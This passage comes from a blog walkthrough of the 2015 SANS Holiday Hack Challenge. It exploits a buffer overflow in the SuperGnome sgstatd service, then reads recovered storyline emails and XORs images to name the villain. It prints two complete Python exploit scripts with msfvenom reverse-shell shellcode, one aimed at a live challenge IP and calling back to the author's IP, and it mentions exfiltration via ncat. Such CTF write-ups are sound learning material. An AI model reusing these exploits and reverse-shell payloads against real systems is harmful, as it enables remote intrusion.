In gdb we can now set a breakpoint at the jmp esp address and look at the registers when the program hits the breakpoint:

04-27 sg-05 look at mem

In this screenshot we can see that when the CPU is hitting the breakpoint the EIP is pointing at our “jmp esp” instructin and the ESP is pointing at the address 0xbfffee00 where the nopsleed is awaiting the CPU.

x/100x $esp at last gives us a nice overview of the stack at this point.

Important: You can see in the script that I placed a 200 byte Nopsled behin the EIP but in the screenshot above you can see that the NOPs end at the highlighted offset after only 84 bytes / nops! Thats the maximum space available for shellcode!

So if we want to keep the exploit simple we need to find a small payload!

Luckily the simplest reverse shell payload metasploit can generate has only 68 bytes:
04-28 sg-05 msfvenom

So lets build an exploit PoC:


root@kali:~/link/writeup# cat 05-exploit-rev-shell.py
#!/usr/bin/python
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'
nopsled = '\x90' * 4

#offset at 4:
#root@kali:~# pattern_offset 0x61413161
#[*] Exact match at offset 4

# jmp esp at: 0804936b
eip = '\x6b\x93\x04\x08'

#root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=80 -f pyNo platform was selected, choosing Msf::Module::Platform::Linux from the payload
#Payload size: 68 bytes
buf = ""
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f"
buf += "\x00\x00\x01\x68\x02\x00\x00\x50\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73"
buf += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"

try:
print "\nSending evil buffer..."
s.connect(('127.0.0.1',4242))
data = s.recv(5024)
print data
time.sleep(1)
s.send('X' + '\r\n')
print s.recv(5000)
time.sleep(1)
s.send(padding + canary + 'B' * 4 + eip + nopsled + buf + 'C' * 500 + '\r\n')
data = s.recv(5024)
print data
time.sleep(1)
except:
print "Could not connect to sgstatd"

Again in gdb:

04-29 sg-05 dep breaks

Now we can see DEP breaking the exploit :(
Good thing the Dosis Neighborhood already gave a hint on how to disable DEP on the exploit development systeme!

So rebooting Kali it is:

04-30 sg-05 grub noexec

Quickly verifying that DEP is disabled after reboot:

04-31 sg-05 noexec

Now lets fireup a netcat listener, start sgstatd again and retrying the exploit:

04-32 sg-05 exploit working

We got a reverse shell!!! \o/… From our localhost, sent to our localhost…

Lets cook up a final exploit for our SG-05 on the Interwebz:


root@kali:~/link# cat exploit-SG-05.py
#!/usr/bin/python
# exploit for SupgerGnome 05 sgstatd

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'
nopsled = '\x90' * 10

#jmp esp at: 0804936b
eip = '\x6b\x93\x04\x08'

#root@kali:~/link# msfvenom -p linux/x86/shell_reverse_tcp LHOST=94.219.239.21 LPORT=80 -f py
#Payload size: 68 bytes
buf = ""
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x5e"
buf += "\xdb\xe3\x95\x68\x02\x00\x00\x50\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73"
buf += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"

try:
print "\nSending evil buffer..."
s.connect(('54.233.105.81',4242))
data = s.recv(5024)
print data
time.sleep(1)
s.send('X' + '\r\n')
print s.recv(5000)
time.sleep(1)
s.send(padding + canary + 'B' * 4 + eip + nopsled + buf + '\r\n')
data = s.recv(5024)
print data
time.sleep(1)
except:
print "Could not connect to sgstatd"

With this exploit I was able to onbtain a reverse shell and read the gnome.conf file and to exfiltrate the other files via ncat:

04-34 sg-05 reverse shell.png

Part5 endgame:

Here are the questions for part 5:

9) Based on evidence you recover from the SuperGnomes’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?

The packet captures from the 5 SuperGnomes contain cleartext smtp sessions that can easily be joined together with Wireshark’s “follow tcp stream” feature:

05-01 wirehshark

Here are the 5 obtained E-Mails (body only):

SuperGnome 01 E-Mail:

From: "c" <c@atnascorp.com>
To: <jojo@atnascorp.com>
Subject: GiYH Architecture
Date: Fri, 26 Dec 2014 10:10:55 -0500

JoJo,

As you know, I hired you because you are the best architect in town for a
distributed surveillance system to satisfy our rather unique business
requirements.  We have less than a year from today to get our final plans in
place.  Our schedule is aggressive, but realistic.

I've sketched out the overall Gnome in Your Home architecture in the diagram
attached below.  Please add in protocol details and other technical
specifications to complete the architectural plans.

Remember: to achieve our goal, we must have the infrastructure scale to
upwards of 2 million Gnomes.  Once we solidify the architecture, you'll work
with the hardware team to create device specs and we'll start procuring
hardware in the February 2015 timeframe.

I've also made significant progress on distribution deals with retailers.

Thoughts?

Looking forward to working with you on this project!

-C

SuperGnome 01 E-Mail Attachment:

GiYH_Architecture

SuperGnome 02 E-Mail:

From: "c" <c@atnascorp.com>
To: <supplier@ginormouselectronicssupplier.com>
Subject: =?us-ascii?Q?Large_Order_-_Immediate_Attention_Required?=
Date: Wed, 25 Feb 2015 09:30:39 -0500

Maratha,

As a follow-up to our phone conversation, we'd like to proceed with an order
of parts for our upcoming product line.  We'll need two million of each of
the following components:

+ Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9
CPU and Linux SDK)
+ ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor
+ Atheros AR6233X Wi-Fi adapter
+ Texas Instruments TPS65053 switching power supply
+ Samsung K4B2G16460 2GB SSDR3 SDRAM
+ Samsung K9F1G08U0D 1GB NAND Flash

Given the volume of this purchase, we fully expect the 35% discount you
mentioned during our phone discussion.  If you cannot agree to this pricing,
we'll place our order elsewhere.

We need delivery of components to begin no later than April 1, 2015, with
250,000 units coming each week, with all of them arriving no later than June
1, 2015.

Finally, as you know, this project requires the utmost secrecy.   Tell NO
ONE about our order, especially any nosy law enforcement authorities.

Regards,

-CW

SuperGnome 03 E-Mail:

From: "c" <c@atnascorp.com>
To: <burglerlackeys@atnascorp.com>
Subject: All Systems Go for Dec 24, 2015
Date: Tue, 1 Dec 2015 11:33:56 -0500

My Burgling Friends, 

Our long-running plan is nearly complete, and I'm writing to share the date
when your thieving will commence!  On the morning of December 24, 2015, each
individual burglar on this email list will receive a detailed itinerary of
specific houses and an inventory of items to steal from each house, along
with still photos of where to locate each item.  The message will also
include a specific path optimized for you to hit your assigned houses
quickly and efficiently the night of December 24, 2015 after dark.

Further, we've selected the items to steal based on a detailed analysis of
what commands the highest prices on the hot-items open market.  I caution
you - steal only the items included on the list.  DO NOT waste time grabbing
anything else from a house.  There's no sense whatsoever grabbing crumbs too
small for a mouse!

As to the details of the plan, remember to wear the Santa suit we provided
you, and bring the extra large bag for all your stolen goods.

If any children observe you in their houses that night, remember to tell
them that you are actually "Santy Claus", and that you need to send the
specific items you are taking to your workshop for repair.  Describe it in a
very friendly manner, get the child a drink of water, pat him or her on the
head, and send the little moppet back to bed.  Then, finish the deed, and
get out of there.  It's all quite simple - go to each house, grab the loot,
and return it to the designated drop-off area so we can resell it.  And,
above all, avoid Mount Crumpit! 

As we agreed, we'll split the proceeds from our sale 50-50 with each
burglar.

Oh, and I've heard that many of you are asking where the name ATNAS comes
from.  Why, it's reverse SANTA, of course.  Instead of bringing presents on
Christmas, we'll be stealing them!

Thank you for your partnership in this endeavor. 

Signed:

-CLW

President and CEO of ATNAS Corporation

SuperGnome 04 E-Mail:

From: "c" <c@atnascorp.com>
To: <psychdoctor@whovillepsychiatrists.com>
Subject: Answer To Your Question
Date: Thu, 3 Dec 2015 13:38:15 -0500

Dr. O'Malley,

In your recent email, you inquired:

> When did you first notice your anxiety about the holiday season?

Anxiety is hardly the word for it.  It's a deep-seated hatred, Doctor.

Before I get into details, please allow me to remind you that we operate
under the strictest doctor-patient confidentiality agreement in the
business.  I have some very powerful lawyers whom I'd hate to invoke in the
event of some leak on your part.  I seek your help because you are the best
psychiatrist in all of Who-ville.

To answer your question directly, as a young child (I must have been no more
than two), I experienced a life-changing interaction.  Very late on
Christmas Eve, I was awakened to find a grotesque green Who dressed in a
tattered Santa Claus outfit, standing in my barren living room, attempting
to shove our holiday tree up the chimney.  My senses heightened, I put on my
best little-girl innocent voice and asked him what he was doing.  He
explained that he was "Santy Claus" and needed to send the tree for repair.
I instantly knew it was a lie, but I humored the old thief so I could escape
to the safety of my bed.  That horrifying interaction ruined Christmas for
me that year, and I was terrified of the whole holiday season throughout my
teen years.

I later learned that the green Who was known as "the Grinch" and had lost
his mind in the middle of a crime spree to steal Christmas presents.  At the
very moment of his criminal triumph, he had a pitiful change of heart and
started playing all nicey-nice.  What an amateur!  When I became an adult,
my fear of Christmas boiled into true hatred of the whole holiday season.  I
knew that I had to stop Christmas from coming.  But how?

I vowed to finish what the Grinch had started, but to do it at a far larger
scale.  Using the latest technology and a distributed channel of burglars,
we'd rob 2 million houses, grabbing their most precious gifts, and selling
them on the open market.  We'll destroy Christmas as two million homes full
of people all cry "BOO-HOO", and we'll turn a handy profit on the whole
deal.

Is this "wrong"?  I simply don't care.  I bear the bitter scars of the
Grinch's malfeasance, and singing a little "Fahoo Fores" isn't gonna fix
that!

What is your advice, doctor?

Signed,

Cindy Lou Who

SuperGnome 05 E-Mail:

From: "Grinch" <grinch@who-villeisp.com>
To: <c@atnascorp.com>
Subject: My Apologies & Holiday Greetings
Date: Tue, 15 Dec 2015 16:09:40 -0500

Dear Cindy Lou,

I am writing to apologize for what I did to you so long ago.  I wronged you
and all the Whos down in Who-ville due to my extreme misunderstanding of
Christmas and a deep-seated hatred.  I should have never lied to you, and I
should have never stolen those gifts on Christmas Eve.  I realize that even
returning them on Christmas morn didn't erase my crimes completely.  I seek
your forgiveness.

You see, on Mount Crumpit that fateful Christmas morning, I learned th[4 bytes missing in capture file]at
Christmas doesn't come from a store.  In fact, I discovered that Christmas
means a whole lot more!

When I returned their gifts, the Whos embraced me.  They forgave.  I was
stunned, and my heart grew even more.  Why, they even let me carve the roast
beast!  They demonstrated to me that the holiday season is, in part, about
forgiveness and love, and that's the gift that all the Whos gave to me that
morning so long ago.  I honestly tear up thinking about it.

I don't expect you to forgive me, Cindy Lou.  But, you have my deepest and
most sincere apologies.

And, above all, don't let my horrible actions from so long ago taint you in
any way.  I understand you've grown into an amazing business leader.  You
are a precious and beautiful Who, my dear.  Please use your skills wisely
and to help and support your fellow Who, especially during the holidays.

I sincerely wish you a holiday season full of kindness and warmth,

--The Grinch

10) Who is the villain behind the nefarious plot.

Unsigned E-Mails can be forged knows every pentester! So lets turn to our final piece of evidence: The staticy images!

When you look around on the SuperGnomes you can read the following on the GnomeNet:

05-02 gnomenet

So the picture convert camera_feed_overlap_error.png got somehow XOR’ed with the factory_cam_x.png pictures from the 5 SuperGnomes!

If you google for “image xor” you will quickly find a roughly 4 year old post on StackOverflow which explains how the ImageMagic program (which comes preinstalled with Kali) can be leveraged to XOR 2 pictures.

After playing arround with this a bit I found out that you have to XOR the overlap picture with each of the SuperGnome’s factory image in turn:

convert camera_feed_overlap_error.png factory_cam_1.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png
convert output.png factory_cam_2.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png
convert output.png factory_cam_3.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png
convert output.png factory_cam_4.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png
convert output.png factory_cam_5.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png

Doing this you obtain the ultimate proof:

05-03 cindy lee who

The Character Cindy Lou Who from the Movie: How the Grinch Stole Christmas was the villain behind the nefarious plot to ruin christmas!

The End!

05-04 the end

Thank you SANS / Ed Skoudis for this wonderful Christmas Hackchallenge!!!

Advertisements

About SebastianB

read it in my blog
This entry was posted in miscellaneous. Bookmark the permalink.

2 Responses to 2015 SANS Holiday Hack Challenge Writeup (Walkthrough)

  1. Don says:

    The force is strong with you…. Thank you for posting this write up. Excellent work.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s